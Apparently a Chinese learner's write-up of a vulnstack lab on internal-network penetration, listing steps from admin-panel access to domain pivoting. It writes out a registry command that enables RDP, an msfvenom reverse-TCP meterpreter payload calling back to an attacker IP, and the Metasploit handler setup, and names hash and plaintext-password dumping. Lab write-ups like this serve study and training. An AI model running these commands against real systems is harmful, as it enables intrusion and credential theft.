靶场： http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
参考： https://www.anquanke.com/post/id/189940
第一次做关于内网渗透的靶场所以记录一下，靶场还没完成（太菜了）。。。。。。
入侵服务器
http://192.168.226.31/yxcms/index.php?r=admin
查看当前权限
查看3389端口是否开启
开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
添加一个用户
远程登录
内网信息收集
net view /domain 查询域列表
查询同域的机器
判断主域
获取域控的IP地址
域中其他主机IP地址
查询域用户
制作反弹shell
这里请制作32的shell，64为连接不稳定
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.226.30 lport=4444 -f exe -o shell.exe
蚁剑文件上传
进入msf命令行
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.226.30
lhost => 192.168.226.30
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > exploit
获取system权限
获取hash
获取明文密码
添加路由表来跨域攻击
即所有对74网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递
设置代理
看主机3389端口是否开启
给域成员添加用户
使用ew制作内网代理
使用代理后的msf攻击域成员
还有很多地方需要深入了解，努力学习！！！